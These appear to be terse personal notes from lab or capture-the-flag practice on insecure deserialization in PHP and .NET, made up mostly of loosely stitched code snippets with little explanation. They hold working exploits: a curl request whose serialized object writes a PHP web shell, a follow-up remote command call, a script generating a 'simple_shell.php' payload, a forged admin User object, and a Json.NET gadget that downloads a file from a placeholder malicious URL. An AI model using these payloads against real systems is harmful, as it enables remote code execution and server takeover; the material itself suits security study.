2024.1.28 - unserialization

Insecure deserialization

Insecure deserialization serialization/unserialization 2024.01.28 @x0mg

	<?php

	if (isset($_GET['source'])) {
	highlight_file(__FILE__);
	die();
	}

	class File
	{
	public $filename = 'test.txt';
	public $content = 'test';

	// __destruct 解構：執行收尾的動作
	public function __destruct()
	{
	//file_put_contents 用來寫檔案的函式
	file_put_contents($this->filename,$this->content);
	}
	}
	// unserialize 用來反序列化回原本結構
	$o = unserialize($_GET['u']);
	?>

	<a href="index.php?source" class="button">檢視原始碼</a>

	# explot the unserialization
	curl -G --data-urlencode "u=O:4:\"File\":2:{s:8:\"filename\";s:5:\"s.php\";s:7:\"content\";s:30:\"<?php system(\$_GET['cmd']); ?>\";}" "http://127.0.0.1:8022/index.php"

	# RCE
	curl "127.0.0.1:8022/s.php?cmd=whoami"

	// cat file.php
	<?php
	class File
	{
	public $filename = 'db.txt';
	public $content = 'doopdeet';
	public function __destruct()
	{
	file_put_contents($this->filename,$this->content);
	}
	}
	$o = unserialize($_GET['u']);
	?>%
	// cat serialize.php
	<?php
	require __DIR__ . '/file.php';
	$o = new File();
	$o->filename = "simple_shell.php";
	$o->content = '<?php echo system($_GET[\'cmd\']); ?>';
	echo serialize($o);
	?>

	// execution
	php serialize.php

	<html><head>
	<link rel="stylesheet" href="./dark-theme.css">
	<title>PimpMyVariant</title>
	</head><body>
	<h1>Logs</h1>

	<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
	[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
	Stack trace:
	#0 {main}
	thrown in /www/log.php on line 37
	#0 {UpdateLogViewer::read}
	thrown in /www/UpdateLogViewer.inc on line 26

	</textarea>
	</body></html>

	<?php

	class UpdateLogViewer
	{
	public string $packgeName;
	public string $logCmdReader;
	private static ?UpdateLogViewer $singleton = null;

	private function __construct(string $packgeName)
	{
	$this->packgeName = $packgeName;
	$this->logCmdReader = 'cat';
	}

	public static function instance() : UpdateLogViewer
	{
	if( !isset(self::$singleton) \|\| self::$singleton === null ){
	$c = __CLASS__;
	self::$singleton = new $c("$c");
	}
	return self::$singleton;
	}

	public static function read():string
	{
	return system(self::logFile());
	}

	public static function logFile():string
	{
	return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
	}


	public function __wakeup()// unserialize

	{

	self::$singleton = $this;

	}
	};

	"settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"d8f356a5764cea6d43b79cfbf77b2ce079bfdec7\";}}",
	"exp": 1643653771
	}

	[Authorize(Policy = "RestrictIP")]
	[HttpGet("{id}")]
	public IActionResult Get(int id)
	{
	using (var db = new CerealContext())
	{
	string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
	// Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
	if (json.ToLower().Contains("objectdataprovider") \|\| json.ToLower().Contains("windowsidentity") \|\| json.ToLower().Contains("system"))
	{
	return BadRequest(new { message = "The cereal police have been dispatched." });
	}
	var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
	{
	TypeNameHandling = TypeNameHandling.Auto
	});
	return Ok(cereal.ToString());
	}
	}

	{
	"$type": "Cereal.DownloadHelper, Cereal",
	"URL": "<malicious_url>",
	"FilePath": "C:\\inetpub\\source\\uploads\\<target_filename>"
	}